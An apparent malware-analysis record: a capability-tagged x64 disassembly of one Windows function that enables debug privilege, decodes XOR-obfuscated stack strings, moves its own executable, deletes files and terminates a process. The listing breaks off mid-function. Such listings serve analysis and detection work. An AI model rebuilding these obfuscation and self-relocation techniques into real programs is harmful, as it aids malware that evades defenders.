Function at 0x140062a30
Capabilities:
Acquire debug privileges
Create process on windows
Delete file
Execute command
Get common file path
Get file version info
Get session user name
Get system information on windows
Make suspicious ntquerysysteminformation call
Move file
Open clipboard
Terminate process
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15780]
mov eax, 0x15880
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0x15870], xmm6
movaps xmmword [rsp + 0x15860], xmm7
movaps xmmword [rsp + 0x15850], xmm8
movaps xmmword [rsp + 0x15840], xmm9
movaps xmmword [rsp + 0x15830], xmm10
movaps xmmword [rsp + 0x15820], xmm11
movaps xmmword [rsp + 0x15810], xmm12
movaps xmmword [rsp + 0x15800], xmm13
movaps xmmword [rsp + 0x157f0], xmm14
movaps xmmword [rsp + 0x157e0], xmm15
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x156d0], rax
mov rdi, r8
xor r15d, r15d
mov r12d, r15d
mov dword [rbp - 0x80], r15d
lea rcx, str.SeDebugPrivilege
call fcn.140056f30
lea rcx, [rbp + 0x14940]
call fcn.14005ce50
movabs rax, 0xf4132f09b62e8e8
mov qword [rbp + 0xf0], rax
movabs rax, 0x174bde3d076865e9
mov qword [rbp + 0xf8], rax
movabs rax, 0xb4e8ac0991611e9
mov qword [rbp + 0x100], rax
movabs rax, 0xae6ae0b65626ad0
mov qword [rbp + 0x108], rax
movabs rax, 0x1fea1228846f23b4
mov qword [rbp + 0x110], rax
movabs rax, 0x2eff77f9b8ce905d
mov qword [rbp + 0x118], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
movabs rax, 0x3e731fc5b653c5bb
mov qword [rbp + 0x150], rax
movabs rax, 0x227def0c3e5951c4
mov qword [rbp + 0x158], rax
movabs rax, 0x3376bcf2b42524df
mov qword [rbp + 0x160], rax
movabs rax, 0x38cb983e56505fe2
mov qword [rbp + 0x168], rax
movabs rax, 0x2cda211fb3561a8c
mov qword [rbp + 0x170], rax
movabs rax, 0x2eff45c988ffbd6a
mov qword [rbp + 0x178], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x60f0], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
pxor xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x6100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x6110], xmm0
pxor xmm2, xmm5
movdqa xmmword [rbp + 0x6120], xmm2
pxor xmm3, xmm6
movdqa xmmword [rbp + 0x6130], xmm3
pxor xmm4, xmm7
movdqa xmmword [rbp + 0x6140], xmm4
lea rax, [rbp + 0x53c0]
lea rcx, [rbp + 0x60f0]
lea edx, [r15 + 5]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140062c50
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rbp + 0x14940]
mov r9, qword [rbp + 0x14940]
mov r10, qword [rbp + 0x14958]
cmp r10, 0x10
cmovae rax, r9
lea r8, [rbp + 0x53c0]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140062d13
inc rax
test ecx, ecx
jne 0x140062d00
test edx, edx
jne 0x140062d2a
call fcn.14005b380
mov r10, qword [rbp + 0x14958]
mov r9, qword [rbp + 0x14940]
movabs rax, 0x2f5299e0b6e910a
mov qword [rbp + 0xf0], rax
movabs rax, 0x184db68e44b9ac0a
mov qword [rbp + 0xf8], rax
movabs rax, 0x1d86b28a9ba9ac2e
mov qword [rbp + 0x100], rax
movabs rax, 0x190b43e435ee20d1
mov qword [rbp + 0x108], rax
movabs rax, 0x9f8f21999247f82
mov qword [rbp + 0x110], rax
movabs rax, 0x2bc9dabf6ab1beb8
mov qword [rbp + 0x118], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
movabs rax, 0x33c704ab265fbc59
mov qword [rbp + 0x150], rax
movabs rax, 0x2d7c83be75809a27
mov qword [rbp + 0x158], rax
movabs rax, 0x2ebe80beac849b1f
mov qword [rbp + 0x160], rax
movabs rax, 0x2a3c70c907db13e2
mov qword [rbp + 0x168], rax
movabs rax, 0x24cfc02cae154bb5
mov qword [rbp + 0x170], rax
movabs rax, 0x2bc9dabf5b818e89
mov qword [rbp + 0x178], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x60f0], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
pxor xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x6100], xmm1
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x6110], xmm0
pxor xmm2, xmm5
movdqa xmmword [rbp + 0x6120], xmm2
pxor xmm3, xmm6
movdqa xmmword [rbp + 0x6130], xmm3
pxor xmm4, xmm7
movdqa xmmword [rbp + 0x6140], xmm4
lea rax, [rbp + 0x53c0]
lea rcx, [rbp + 0x60f0]
mov edx, 5
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140062e90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea rax, [rbp + 0x14940]
cmp r10, 0x10
cmovae rax, r9
lea r8, [rbp + 0x53c0]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140062f34
inc rax
test ecx, ecx
jne 0x140062f21
test edx, edx
jne 0x140062f3d
call fcn.14005b380
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x1020]
call fcn.1400556a0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rdx
cmp rax, 4
jb 0x140062f87
lea rax, [rdx + 4]
mov qword [rcx + 0x10], rax
mov rax, rcx
cmp r8, 0x10
jb 0x140062f79
mov rax, qword [rcx]
mov dword [rax + rdx], 0x6578652e
mov byte [rax + rdx + 4], r12b
jmp 0x140062fac
mov qword [rsp + 0x20], 4
lea r9, str..exe
movzx r8d, byte [rbp + 0x14860]
mov edx, 4
call fcn.140003ad0
mov rcx, rax
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 0x8c0], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x8d0], xmm1
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
lea rdx, [rbp + 0x8c0]
lea rcx, [0x1401ffac8]
call fcn.14000c100
mov rdx, qword [rbp + 0x8d8]
cmp rdx, 0x10
jb 0x140063024
inc rdx
mov rcx, qword [rbp + 0x8c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006301f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400645e3
call fcn.1401080d8
mov qword [rbp + 0x8d0], r15
mov qword [rbp + 0x8d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8c0], 0
mov rdx, qword [rbp + 0x1038]
cmp rdx, 0x10
jb 0x14006307e
inc rdx
mov rcx, qword [rbp + 0x1020]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063079
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400645e3
call fcn.1401080d8
mov qword [rbp + 0x1030], r15
mov qword [rbp + 0x1038], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1020], 0
lea rdx, [0x1401ffac8]
lea rcx, [rbp + 0x5820]
call fcn.140009090
mov rbx, rax
mov rsi, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400630ba
mov rsi, qword [rax]
mov r8d, 0x104
lea rdx, [rbp + 0x14dc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x14dc0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400630f6
lea rdx, [rbp + 0x14dc0]
lea rcx, [rbp + 0x1b0]
call fcn.14005a030
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rcx, qword [rbp + 0x1b0]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
setne sil
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0x10
jb 0x14006317a
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063175
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400645e3
call fcn.1401080d8
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400631cd
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400631c8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400645e3
mov rcx, r8
call fcn.1401080d8
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
test sil, sil
je 0x140070e48
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x960], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x970], xmm0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x140063210
mov rdx, rdi
lea rcx, [rbp + 0x960]
call fcn.14005a030
mov qword [rbp + 0x14608], r15
mov qword [rbp + 0x14610], 3
mov qword [rbp + 0x1462a], r15
mov dword [rbp + 0x14632], r15d
mov word [rbp + 0x14636], r15w
lea rax, [rbp + 0x960]
cmp qword [rbp + 0x978], 0x10
cmovae rax, qword [rbp + 0x960]
mov qword [rbp + 0x14618], rax
lea rax, [0x140112e90]
mov qword [rbp + 0x14620], rax
mov eax, 0x414
mov word [rbp + 0x14628], ax
lea rax, [0x140112cc0]
mov qword [rbp + 0x14638], rax
lea rcx, [rbp + 0x14608]
call qword [sym.imp.SHELL32.dll_SHFileOperationA]
lea rcx, [rbp + 0x960]
call fcn.14000b160
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
mov r8d, 0x278
lea rcx, [rbp + 0x14a40]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x1f1844106dcc14a
mov qword [rbp - 0x70], rax
movabs rax, 0x121ad2dc6da6fb45
mov qword [rbp - 0x68], rax
movabs rax, 0x164dd3575529b64f
mov qword [rbp - 0x60], rax
movabs rax, 0x264697f2ee89eded
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x2edebe3276a8b522
mov qword [rbp - 0x30], rax
movabs rax, 0x3c72a6a90cdf9e2e
mov qword [rbp - 0x28], rax
movabs rax, 0x3924a3367a47df38
mov qword [rbp - 0x20], rax
movabs rax, 0x264697f2c1bbc3dc
mov qword [rbp - 0x18], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x1620], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x1630], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1640], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1650], xmm3
lea rax, [rbp + 0x5f10]
lea rcx, [rbp + 0x1620]
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400633a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
mov qword [rbp + 0x1280], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1290], xmm0
lea rax, [rbp + 0x5f10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140063440
lea rdx, [rbp + 0x5f10]
lea rcx, [rbp + 0x1280]
call fcn.14005a030
movabs rax, 0xc48d3ad9d
mov qword [rbp + 0x10], rax
movabs rcx, 0x12fee4cbed2
mov qword [rbp + 0x18], rcx
movabs rax, 0xc48e383ac
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0x1260], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1270], xmm0
lea rax, [rbp + 0xa0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400634e2
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1260]
call fcn.14005a030
movabs rax, 0x7d241de66984a67
mov qword [rbp + 0x14e0], rax
movabs rax, 0x41e470d1b58babc6
mov qword [rbp + 0x14e8], rax
movabs rax, 0x17e7f55054801963
mov qword [rbp + 0x14f0], rax
movabs rax, 0xe3543c8300832b
mov qword [rbp + 0x14f8], rax
movabs rax, 0x2547bbf8217ce66
mov qword [rbp + 0x1500], rax
movabs rax, 0x9589aae414e5396
mov qword [rbp + 0x1508], rax
movabs rax, 0x107848cd8f27b8e5
mov qword [rbp + 0x1510], rax
movabs rax, 0x42a415f4aecdc782
mov qword [rbp + 0x1518], rax
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0x1520], rsi
movabs rcx, 0xe0000000200263ad
mov qword [rbp + 0x1528], rcx
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
movabs rax, 0x63b477bc07ad7955
mov qword [rbp + 0x1580], rax
movabs rax, 0x71d040e085ef9bf4
mov qword [rbp + 0x1588], rax
movabs rax, 0x24d5c13160e1285a
mov qword [rbp + 0x1590], rax
movabs rax, 0x3085625eb632e749
mov qword [rbp + 0x1598], rax
movabs rax, 0x61374ddab020fd52
mov qword [rbp + 0x15a0], rax
movabs rax, 0x6c3df99c747d6ba7
mov qword [rbp + 0x15a8], rax
movabs rax, 0x724c2bfde943ded3
mov qword [rbp + 0x15b0], rax
movabs rax, 0x769077c497fdf6e0
mov qword [rbp + 0x15b8], rax
mov qword [rbp + 0x15c0], rsi
mov qword [rbp + 0x15c8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm6, xmm6
movdqa xmm0, xmmword [rbp + 0x14e0]
pxor xmm0, xmmword [rbp + 0x1580]
movdqa xmmword [rbp + 0x69f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1590]
pxor xmm1, xmmword [rbp + 0x14f0]
movdqa xmmword [rbp + 0x6a00], xmm1
movdqa xmm0, xmmword [rbp + 0x15a0]
pxor xmm0, xmmword [rbp + 0x1500]
movdqa xmmword [rbp + 0x6a10], xmm0
movdqa xmm1, xmmword [rbp + 0x15b0]
pxor xmm1, xmmword [rbp + 0x1510]
movdqa xmmword [rbp + 0x6a20], xmm1
movdqa xmm0, xmmword [rbp + 0x15c0]
pxor xmm0, xmmword [rbp + 0x1520]
movdqa xmmword [rbp + 0x6a30], xmm0
pxor xmm2, xmm7
movdqa xmmword [rbp + 0x6a40], xmm2
pxor xmm3, xmm8
movdqa xmmword [rbp + 0x6a50], xmm3
pxor xmm9, xmm4
movdqa xmmword [rbp + 0x6a60], xmm9
pxor xmm5, xmm10
movdqa xmmword [rbp + 0x6a70], xmm5
pxor xmm6, xmm11
movdqa xmmword [rbp + 0x6a80], xmm6
lea rax, [rbp + 0xa680]
lea rcx, [rbp + 0x69f0]
mov edx, 8
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140063730
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1240], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1250], xmm0
lea rax, [rbp + 0xa680]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400637b0
lea rdx, [rbp + 0xa680]
lea rcx, [rbp + 0x1240]
call fcn.14005a030
movabs rax, 0x18bd1eedf6f23fa6
mov qword [rbp + 0xa0], rax
movabs rax, 0x3fdb5ecf10677d8e
mov qword [rbp + 0xa8], rax
xorps xmm2, xmm2
movabs rax, 0x2e8864b5cfb77ded
mov qword [rbp + 0xc0], rax
movabs rax, 0x3fdb5ecf10674ecf
mov qword [rbp + 0xc8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x5260], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5270], xmm1
lea rcx, [rbp + 0x5310]
lea rax, [rbp + 0x5260]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov qword [rbp + 0x1220], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1230], xmm0
lea rax, [rbp + 0x5310]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400638d6
lea rdx, [rbp + 0x5310]
lea rcx, [rbp + 0x1220]
call fcn.14005a030
movabs rax, 0x1db19c4c3bc8ee
mov qword [rbp + 0x10], rax
movabs rcx, 0x912efff538edd24
mov qword [rbp + 0x18], rcx
movabs rax, 0x1db1ef2957a1a8
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x770], xmm0
movaps xmm0, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x780], xmm0
movaps xmm1, xmmword [rbp + 0x920]
movaps xmmword [rbp + 0x790], xmm1
movaps xmm0, xmmword [rbp + 0x930]
movaps xmmword [rbp + 0x7a0], xmm0
movaps xmm1, xmmword [rbp + 0x940]
movaps xmmword [rbp + 0x7b0], xmm1
movaps xmm0, xmmword [rbp + 0x950]
movaps xmmword [rbp + 0x7c0], xmm0
mov qword [rbp + 0x1200], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x1210], xmm0
lea rax, [rbp + 0x770]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400639a0
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x1200]
call fcn.14005a030
lea rax, [rbp + 0x1280]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1260]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1240]
lea r8, [rbp + 0x1220]
lea rdx, [rbp + 0x1200]
lea rcx, [rbp + 0x14a40]
call fcn.140009dd0
lea rcx, [rbp + 0x14a40]
call fcn.1400b89d0
cmp byte [rbp + 0x14c50], 0
jne 0x140063c75
movabs rax, 0x12796db4b1
mov qword [rbp + 0x10], rax
movabs rcx, 0x29148c316e9
mov qword [rbp + 0x18], rcx
movabs rax, 0x12792ae0f3
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x3e40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3e50], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3e60], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3e70], xmm0
movabs rax, 0xcc5b41107e288be
mov qword [rbp + 0xf0], rax
movabs rax, 0x107897f6a117736c
mov qword [rbp + 0xf8], rax
movabs rax, 0x13c67b78e9388179
mov qword [rbp + 0x100], rax
movabs rax, 0x19e4edd7213cd5c6
mov qword [rbp + 0x108], rax
movabs rax, 0x1ddbc607bb9a3c30
mov qword [rbp + 0x110], rax
movabs rcx, 0x17ae976d4ba70ee7
mov qword [rbp + 0x118], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
movabs rax, 0x7ab7d1622787e0ea
mov qword [rbp + 0x150], rax
movabs rax, 0x7617b785c8370109
mov qword [rbp + 0x158], rax
movabs rax, 0x67e6571d8751ed1f
mov qword [rbp + 0x160], rax
movabs rax, 0x778d8cb0401cacb4
mov qword [rbp + 0x168], rax
movabs rax, 0x1ddbb462cffb5010
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x53c0], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
pxor xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x53d0], xmm1
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x53e0], xmm0
pxor xmm2, xmm5
movdqa xmmword [rbp + 0x53f0], xmm2
pxor xmm3, xmm6
movdqa xmmword [rbp + 0x5400], xmm3
pxor xmm4, xmm7
movdqa xmmword [rbp + 0x5410], xmm4
lea rax, [rbp + 0x10f60]
lea rcx, [rbp + 0x53c0]
mov edx, 4
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140063bc2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r9d, [rdx + 0x10]
lea r8, [rbp + 0x3e40]
lea rdx, [rbp + 0x10f60]
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs rax, 0x15bd8521d89a68d
mov qword [rbp + 0xa0], rax
movabs rax, 0x53c261515799e5f1
mov qword [rbp + 0xa8], rax
xorps xmm2, xmm2
movabs rax, 0x577baa3779e8c9c1
mov qword [rbp + 0xc0], rax
movabs rax, 0x53c20f3e3eea9794
mov qword [rbp + 0xc8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x5170], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5180], xmm1
lea rcx, [rbp + 0x6560]
lea rax, [rbp + 0x5170]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
